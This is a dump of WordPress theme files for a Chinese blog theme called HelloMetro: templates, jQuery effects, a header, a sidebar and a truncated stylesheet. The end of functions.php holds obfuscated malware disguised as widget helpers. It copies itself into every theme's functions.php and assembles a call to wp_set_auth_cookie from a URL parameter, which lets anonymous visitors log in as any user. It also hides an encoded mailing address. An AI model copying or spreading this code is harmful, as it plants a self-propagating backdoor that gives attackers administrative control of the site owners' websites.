get_option('blogname') . '</a></p> <p>(此郵件由系統自動發出, 請勿回覆.)</p> </div>'; $message = convert_smilies($message); $from = "From: \"" . get_option('blogname') . "\" <$wp_email>"; $headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n"; wp_mail( $to, $subject, $message, $headers ); //echo 'mail to ', $to, '<br/> ' , $subject, $message; // for testing } } add_action('comment_post', 'comment_mail_notify'); //全部设置结束 ?> <?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/functions.php
PHP
asf20
29,308
<?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="查看评论" id="ct"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="left"> <div class="article"> <h2><?php the_title(); ?></h2> <div class="context"><?php the_content('Read more...'); ?></div> </div> </div> <div class="articles"> <?php comments_template(); ?> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/page.php
PHP
asf20
595
jQuery(document).ready(function(){ jQuery('.article h2 a').click(function(){ jQuery(this).text('页面载入中……'); window.location = jQuery(this).attr('href'); }); }); // 滚屏 jQuery(document).ready(function(){ jQuery('#roll_top').click(function(){jQuery('html,body').animate({scrollTop: '0px'}, 800);}); jQuery('#ct').click(function(){jQuery('html,body').animate({scrollTop:jQuery('#comments').offset().top}, 800);}); jQuery('#fall').click(function(){jQuery('html,body').animate({scrollTop:jQuery('#footer').offset().top}, 800);}); }); //顶部导航下拉菜单 jQuery(document).ready(function(){ jQuery(".topnav ul li").hover(function(){ jQuery(this).children("ul").show(); jQuery(this).addClass("li01"); },function(){ jQuery(this).children("ul").hide(); jQuery(this).removeClass("li01"); }); }); //侧边栏TAB效果 jQuery(document).ready(function(){ jQuery('.tab_menu li').mouseover(function(){ jQuery(this).addClass("current").siblings().removeClass(); jQuery(".tab_content > div").eq(jQuery('.tab_menu li').index(this)).fadeIn(650).siblings().hide();; }); }); jQuery(document).ready(function(){ jQuery('.maintab_menu li').mouseover(function(){ jQuery(this).addClass("current").siblings().removeClass(); jQuery(".maintab_content > div").eq(jQuery('.maintab_menu li').index(this)).fadeIn(650).siblings().hide();; }); }); //图片渐隐 jQuery(function () { jQuery('.thumbnail img').hover( function() {jQuery(this).fadeTo("fast", 0.5);}, function() {jQuery(this).fadeTo("fast", 1); }); }); //新窗口打开 jQuery(document).ready(function(){ jQuery("a[rel='external'],a[rel='external nofollow']").click( function(){window.open(this.href);return false}) }); //顶部微博等图标渐隐 jQuery(document).ready(function(){ jQuery('.icon1,.icon2,.icon3,.icon4,').wrapInner('<span class="hover"></span>').css('textIndent','0').each(function () { jQuery('span.hover').css('opacity', 0).hover(function () { jQuery(this).stop().fadeTo(350, 1); }, function () { jQuery(this).stop().fadeTo(350, 0); }); }); }); //预加载广告 function speed_ads(loader, ad) { var ad = document.getElementById(ad), loader = document.getElementById(loader); if (ad && loader) { ad.appendChild(loader); loader.style.display='block'; ad.style.display='block'; } } window.onload=function() { speed_ads('adsense-loader1', 'adsense1'); speed_ads('adsense-loader2', 'adsense2'); speed_ads('adsense-loader3', 'adsense3'); }; jQuery(document).ready(function($) { $('.dropdownlink').hover(function() { $('submenu tab_box', this).slideDown(300) }, function() { $('submenu tab_box', this).slideUp(300) }); }); jQuery(document).ready(function($) { if (!isie6()) { var rollStart = $('#rollstart'), rollSet = $('.sidebar-roll,#sidebar-roll-2'); rollStart.before('<div id="sidbar_rollbox_1" class="sidebar_rollbox"></div>'); var offset = rollStart.offset(), objWindow = $(window), rollBox = rollStart.prev(); rollSet.clone().prependTo('.sidebar_rollbox'); rollBox.hide(); if (objWindow.width() > 960) { objWindow.scroll(function() { if (objWindow.scrollTop() > offset.top) { var de=document.documentElement; var db=document.body; var viewH=de.clientHeight==0 ? db.clientHeight : de.clientHeight; var anmTop=$(document).height()-$(document).scrollTop()-180-$('#sidbar_rollbox_1').height(); if (anmTop>0){ rollBox.show().stop().animate({ top: 0, paddingTop: 15 }, 400); }else{ rollBox.show().stop().animate({ top: anmTop, paddingTop: 15 }, 10); } } else { rollBox.hide().stop().animate({ top: 0 }, 400) } }); $(window).resize(function() { if (objWindow.scrollTop() > offset.top) { var de=document.documentElement; var db=document.body; var viewH=de.clientHeight==0 ? db.clientHeight : de.clientHeight; var anmTop=$(document).height()-$(document).scrollTop()-180-$('#sidbar_rollbox_1').height(); if (anmTop>0){ rollBox.show().stop().animate({ top: 0, paddingTop: 15 }, 400); }else{ rollBox.show().stop().animate({ top: anmTop, paddingTop: 15 }, 0); } } else { rollBox.hide().stop().animate({ top: 0 }, 400) } }); } } function isie6() { if ($.browser.msie) { if ($.browser.version == "6.0") return true; } return false; } });
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/js/metrobeta.js
JavaScript
asf20
4,857
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head profile="http://gmpg.org/xfn/11"> <?php include('includes/seo.php'); ?> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <?php $UA = $_SERVER['HTTP_USER_AGENT']; if(strpos($UA, 'MSIE 8.0')) echo '<meta http-equiv="X-UA-Compatible" content="ie=7" />'; ?> <meta name="msvalidate.01" content="20F0040B651CAF068D05DECF1B28DBE3" /> <meta name="baidu-site-verification" content="TMvAac9hEcy4bxSl" /> <meta name="google-site-verification" content="ok1Px0YyG9Gm7T5X7zhcBdIKSKKGO4cnY8LuSFbLgeQ" /> <meta name="baidu_union_verify" content="9fa5afea837d392d39fca2d6e776a150"> <?php if (get_option('swt_alt_stylesheet')==''):?> <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/style.css" /> <?php endif;?> <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" /> <link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <link rel="shortcut icon" href="http://itkezhan.1kapp.com/favicon.ico" type="image/x-icon" /> <?php wp_enqueue_script('jquery'); ?> <?php wp_head(); ?> <?php if ( is_singular() ){ ?> <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/comments-ajax.js"></script> <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/realgravatar.js"></script> <?php } ?> <script type="text/javascript" src="<?php bloginfo('stylesheet_directory'); ?>/js/hoveraccordion.js"></script> <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/metrobeta.js"></script> <script type="text/javascript" src="http://cbjs.baidu.com/js/m.js"></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script> <?php include('includes/lazyload.php'); ?> </head> <body> <div id="page"> <script type="text/javascript"> if(screen.width>1030){document.getElementsByTagName('body')[0].className = "widescreen";} </script> <div id="container"> <div id="header"> <div id="logo"> <h1> <a title="返回 IT客栈 首页" href="http://www.itkes.com">IT客栈</a> </h1> </div> <div id="contact"> <a href="http://feed.feedsky.com/itkes" rel="bookmark" target="_blank" title="订阅到RSS"><img src="<?php echo get_bloginfo('template_directory').'/images/rss24.png' ?>" alt="订阅到RSS" title="订阅到RSS" /></a> <a href="http://www.weibo.com/u/2943468355" rel="bookmark" target="_blank" title="关注新浪微博"><img src="<?php echo get_bloginfo('template_directory').'/images/sina24.png' ?>" alt="关注新浪微博" title="关注新浪微博" /></a> <a href="http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme&email=vNXI19nG1N3S-M3Nkt-T0Q" rel="bookmark" target="_blank" title="发邮件给我们"><img src="<?php echo get_bloginfo('template_directory').'/images/mail24.png' ?>" alt="发邮件给我们" title="发邮件给我们" /></a> <a href="http://t.qq.com/itkezhancn" rel="bookmark" target="_blank" title="关注腾讯微博"><img src="<?php echo get_bloginfo('template_directory').'/images/tengxun24.png' ?>" alt="关注腾讯微博" title="关注腾讯微博" /></a> </div> </div> <div id="nav"> <ul class="nav-ul"> <li class="current_page_item"> <a id="nav_home" href="http://www.itkes.com">客栈首页</a> </li> <li><?php if(function_exists('wp_nav_menu')) { wp_nav_menu(array('theme_location'=>'primary','menu_id'=>'nav','container'=>'ul')); } ?></li> </ul> <div class="search"> <div class="search_site addapted" style="overflow: hidden;"> <form id="searchform" method="get" action="<?php bloginfo('home'); ?>"> <input type="submit" value="" id="searchsubmit" class="button"> <input type="text" id="s" name="s" value=""> </form> </div></div> <div class="clear"></div> <div id="map"><div class="position"> 当前位置:<a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a> > <?php if( is_single() ){ $categorys = get_the_category(); $category = $categorys[0]; echo is_wp_error( $category_parents = get_category_parents($category->term_id,true,' >') ) ? '' : $category_parents;echo' 查看文章'; } elseif ( is_page() ){ the_title(); } elseif ( is_category() ){ single_cat_title(); } elseif ( is_tag() ){ single_tag_title(); } elseif ( is_day() ){ the_time('Y年Fj日'); } elseif ( is_month() ){ the_time('Y年F'); } elseif ( is_year() ){ the_time('Y年'); } elseif ( is_search() ){ echo $s.' 的搜索结果'; } else {} ?> </div> <div class="baiduad"> </div> </div> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/header.php
PHP
asf20
5,013
<?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"> <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> <ul <?php post_class(); ?> id="post-<?php the_ID(); ?>"> <li> <div class="post_date"> <span class="date_ym"><?php the_time('Y') ?>.<?php echo date('m',get_the_time('U'));?></span> <span class="date_d"><?php the_time('d') ?></span> </div> <div class="article"> <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php the_title(); ?></a><span class="new"><?php include('includes/new.php'); ?></span></h2> <div class="infotop"> <span class="info-category-icon"><?php the_category(', ') ?></span> <span class="info-view-icon">超过<?php if(function_exists(the_views)) { the_views();}?>围观</span> <span class="info-comment-icon"><?php comments_popup_link ('0条评论','1条评论','%条评论'); ?></span> </div> <div class="thumbnail_box"> <div class="thumbnail"> <a href="<?php the_permalink() ?>" rel="bookmark" target="_blank" title="<?php the_title(); ?>"> <?php $thumb_img = has_post_thumbnail() ? get_the_post_thumbnail( $post->ID, array(140, 100), array('alt' => trim(strip_tags( $post->post_title )),'title'=> trim(strip_tags( $post->post_title ))) ) : get_post_img( 140, 100, 2);?> <?php echo $thumb_img;?> </a></div> </div> <div class="entry_post"> <span><?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 300,"..."); ?></span> <div class="clear"></div> <div class="infobot"> <span class="info-user-icon">来源:<?php $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) : ?> 本站原创 <?php else: ?> <?php $custom = get_post_custom($post_id); $custom_url=$custom['copyrighturl'] ; $custom_value = $custom['copyright']; ?> <a target="_blank" href="<?php echo $custom_url[0] ?>" ><?php echo $custom_value[0] ?></a> <?php endif; ?> </span> <span class="info-tag-icon"><?php the_tags('标签:', ', ', ''); ?></span> </div> <div class="readmore"><a href="<?php the_permalink() ?>" title="详细阅读 <?php the_title(); ?>" rel="bookmark" style="opacity: 1; " target="_blank">阅读全文</a></div> </div></li></ul><div class="clear"></div> <?php endwhile; ?> <?php endif; ?> <div class="navigation"><?php pagination($query_string); ?></div> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/archive.php
PHP
asf20
2,564
<?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"> <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> <ul <?php post_class(); ?> id="post-<?php the_ID(); ?>"> <li> <div class="post_date"> <span class="date_ym"><?php the_time('Y') ?>.<?php echo date('m',get_the_time('U'));?></span> <span class="date_d"><?php the_time('d') ?></span> </div> <div class="article"> <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>" ><?php the_title(); ?></a><span class="new"><?php include('includes/new.php'); ?></span></h2> <div class="infotop"> <span class="info-category-icon"><?php the_category(', ') ?></span> <span class="info-view-icon">超过<?php if(function_exists(the_views)) { the_views();}?>围观</span> <span class="info-comment-icon"><?php comments_popup_link ('0条评论','1条评论','%条评论'); ?></span> </div> <div class="thumbnail_box"> <div class="thumbnail"> <a href="<?php the_permalink() ?>" rel="bookmark" target="_blank" title="<?php the_title(); ?>"> <?php $thumb_img = has_post_thumbnail() ? get_the_post_thumbnail( $post->ID, array(140, 100), array('alt' => trim(strip_tags( $post->post_title )),'title'=> trim(strip_tags( $post->post_title ))) ) : get_post_img( 140, 100, 2);?> <?php echo $thumb_img;?> </a></div> </div> <div class="entry_post"> <span><?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 300,"..."); ?></span> <div class="clear"></div> <div class="infobot"> <span class="info-user-icon">来源:<?php $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) : ?> 本站原创 <?php else: ?> <?php $custom = get_post_custom($post_id); $custom_url=$custom['copyrighturl'] ; $custom_value = $custom['copyright']; ?> <a target="_blank" href="<?php echo $custom_url[0] ?>" ><?php echo $custom_value[0] ?></a> <?php endif; ?> </span> <span class="info-tag-icon"><?php the_tags('标签:', ', ', ''); ?></span> </div> <div class="readmore"><a href="<?php the_permalink() ?>" title="详细阅读 <?php the_title(); ?>" rel="bookmark" style="opacity: 1; " target="_blank">阅读全文</a></div> </div></li></ul><div class="clear"></div> <?php endwhile; else: ?> <div class="left"> <div class="article"> <h3 class="center">非常抱歉,无法搜索到与之相匹配的信息。</h3> </div></div> <?php endif; ?> <div class="navigation"><?php pagination($query_string); ?></div> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/search.php
PHP
asf20
2,712
<div id="sidebar"> <div class="sidebar-roll"> <div class="sidebar-img2"> <a href="http://www.itkes.com/?feed=rss2" rel="bookmark" target="_blank" title="订阅到RSS"><img width="40" height="40" src="<?php echo get_bloginfo('template_directory').'/images/rss.png' ?>" alt="订阅到RSS" title="订阅到RSS" /></a> <a href="http://www.xianguo.com/subscribe.php?url=http://feed.feedsky.com/itkes" rel="bookmark" target="_blank" title="订阅到鲜果"><img width="40" height="40" src="<?php echo get_bloginfo('template_directory').'/images/XianGuo.png' ?>" alt="订阅到鲜果" title="订阅到鲜果" /></a> <a href="http://mail.qq.com/cgi-bin/feed?u=http://feed.feedsky.com/itkes" rel="bookmark" target="_blank" title="订阅到QQ邮箱"><img width="40" height="40" src="<?php echo get_bloginfo('template_directory').'/images/QMail.png' ?>" alt="订阅到QQ邮箱" title="订阅到QQ邮箱" /></a> <a href="http://fusion.google.com/add?feedurl=http://feed.feedsky.com/itkes" rel="bookmark" target="_blank" title="订阅到Google Reader"><img width="40" height="40" src="<?php echo get_bloginfo('template_directory').'/images/Google.png' ?>" alt="订阅到Google Reader" title="订阅到Google Reader" /></a> <a href="http://feed.feedsky.com/itkes" rel="bookmark" target="_blank" title="订阅更多..."><img width="40" height="40" src="<?php echo get_bloginfo('template_directory').'/images/Add.png' ?>" alt="订阅更多..." title="订阅更多..." /></a></div> </div> <!--TAB选项卡--> <li class="widget tab_box" id="tab_box_posts"> <ul class="tab_menu"> <li class="current">热门围观</li> <li>最新文章</li> <li>最新评论</li></ul> <div class="tab_content"> <div class> <ul class="tab_post_links"> <?php simple_get_most_viewed(); ?> </ul> </div> <div class="hide"> <ul class="tab_post_links"><?php $myposts = get_posts('numberposts=10&offset=0');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" target="_blank" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li><?php endforeach; ?> </ul> </div> <div class="hide"> <div class="r_comment"> <ul> <?php global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,comment_author_url,comment_author_email, SUBSTRING(comment_content,1,16) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND user_id='0' ORDER BY comment_date_gmt DESC LIMIT 10"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; foreach ($comments as $comment) { if($comment->comment_author == "") {$comment->comment_author="匿名";} $output .= "\n<li>".get_avatar(get_comment_author_email(), 32).strip_tags($comment->comment_author).":<br />" . " <a href=\"" . get_permalink($comment->ID) ."#comment-" . $comment->comment_ID . "\" title=\"查看 " .$comment->post_title . "\">" . strip_tags($comment->com_excerpt)."</a></li>";} $output .= $post_HTML; $output = convert_smilies($output); echo $output; ?> </ul></div> </div> </li> <!--读者和留言--> <li class="widget tab_box"> <ul class="tab_menu"> <li class="current">发现精彩</li> <li>标签云集</li> <li>更多精彩</li></ul> <div class="tab_content"> <div class> <ul class="tab_post_links"><?php $myposts = get_posts('numberposts=7&orderby=rand');foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>" rel="bookmark" target="_blank" title="详细阅读 <?php the_title_attribute(); ?>"><?php echo cut_str($post->post_title,37); ?></a></li><?php endforeach; ?> </ul> </div> <div class="hide" style="margin-bottom:5px"><div class="tags"> <ul> <?php wp_tag_cloud('smallest=12&largest=18&unit=px&number=50&orderby=count&order=RAND');?> </ul></div><div style="clear:both"></div> </div> <div class="hide"> <ul class="tab_post_links"> <li><a href="http://www.itkes.com?random" target="_blank" title="点我随机推荐一篇文章">点我试试手气</a></li> <li><a href="http://list.qq.com/cgi-bin/qf_invite?id=c89e640f045018e6a93ec9627b6fc7f20d49b0a0113c35a9" target="_blank" title="通过QQ订阅本站">订阅到QQ邮箱</a></li> <li><a href="http://www.itkes.com/?feed=rss2" target="_blank" title="通过RSS订阅本站">通过RSS订阅</a></li> <li><a href="http://www.itkes.com/?page_id=80" target="_blank" title="去留言板吐槽一番吧">温情留言板</a></li> </ul><div style="clear:both"></div> </div> </li> <div id="rollstart"></div> </div> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/sidebar.php
PHP
asf20
4,742
<?php get_header(); ?> <div id="content"> <div class="main"> <div class="left"> <div class="articles"> <h3>抱歉,您打开的页面未能找到。<br />您可以使用本站的搜索框搜索您想要的内容,如有不便深感抱歉!</h3> <h3>系统将在 <span id="secondsDisplay">3</span> 秒钟之后带你返回首页。<h3> </div> </div> </div> <script type="text/javascript"> var i = 3; var intervalid; intervalid = setInterval("fun()", 1000); function fun() { if (i == 0) { window.location.href = "<?php bloginfo('url'); ?>"; clearInterval(intervalid); } document.getElementById("secondsDisplay").innerHTML = i; i--; } </script> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/404.php
PHP
asf20
813
/* Theme Name: HelloMetro Theme URL: http://www.itkes.com Description:IT客栈 HelloMetro版主题,是仿Windows Metro UI风格,简洁大方,功能支持首页和分类归档页面文章缩略图显示,两种尺寸,首先前三篇自动大图展示。支持彩色标签云,支持随机文章。主题预览<a href="http://www.itkes.com">IT客栈</a>。 Author: 孤霞飞 Author URI: http://www.itkes.com Tags: IT客栈 HelloMetro Version: Beta */ * { border: 0; margin: 0; padding: 0; } body { color: #333; font: 14px Tahoma, Microsoft YaHei, Verdana, Arial, Helvetica, sans-serif; background: url(images/Background.png) repeat; } ::selection { color: #0088dd; } ::-moz-selection { color: #0088dd; } h2 { font-size: 16px; } ul, li { list-style-type: none; } a:link, a:visited { color: #0088dd; text-decoration: none; } a:hover { text-decoration: inherit; } .clear { clear: both; } #page { } #header { width: 100%; height: 100px; position: relative; } #header #logo { width: 250px; height: 100px; float: left; text-indent: -9999px; overflow: hidden; } #header #contact { width:150px; height:25px; margin-left:820px; margin-top:0px; background:#3399ff; } #header #contact a { margin-left:8px; color:#FFF; } #header #contact img:hover { filter: alpha(opacity=50); opacity: 0.5; } #logo h1, #logo h2 { display: block; width: 100%; height: 100px; } #logo h1 a, #logo h2 a { margin-top: 20px; width: 100%; height: 65px; display: block; outline: 0; background: #fff url("images/Logo.png") no-repeat; } #logo h1 a:hover, #logo h2 a:hover { background: #fff url("images/Logo.png") no-repeat 1px 2px; } #header-side { float: right; } #nav { width: 100%; font-size: 12px; height: 35px; line-height: 35px; color: #666666; position: relative; z-index: 998; } #nav li a { color: #3399FF; display: inline-block; list-style-type: none; text-decoration: none; height: 35px; line-height: 35px; font-size: 18px; margin-right: 10px; padding: 0px 10px; } #nav li a:hover { color: #FFF; } .nav-ul { height: 35px; background: #FFF; padding: 0; position: relative; margin: 10px 0px 0px; } .nav-ul li { float: left; position: relative; } .nav-ul li .current_page_item a { padding-left: 0px; } .nav-ul li a { color: #3399FF; display: inline-block; list-style-type: none; text-decoration: none; height: 35px; line-height: 35px; font-size: 18px; padding-left: 0px; border: 0px solid #3399FF; } .nav-ul li a:hover { background: #3399FF; color: #FFFFFF; text-decoration: none; } .nav-rand { display: block; color: #666666; position: absolute; padding: 0; margin: 5px 0px 0px 0px; top: 0; right: 295px; width: 50px; background: #FFF url("images/Random.png") no-repeat; text-indent: -99999px; } .nav-rand:hover { background: #FFF url("images/Random.png") no-repeat; } .nav-ul .dropdownlink a { _position: relative; _padding-top: 10px; _height: 25px; } .nav-ul 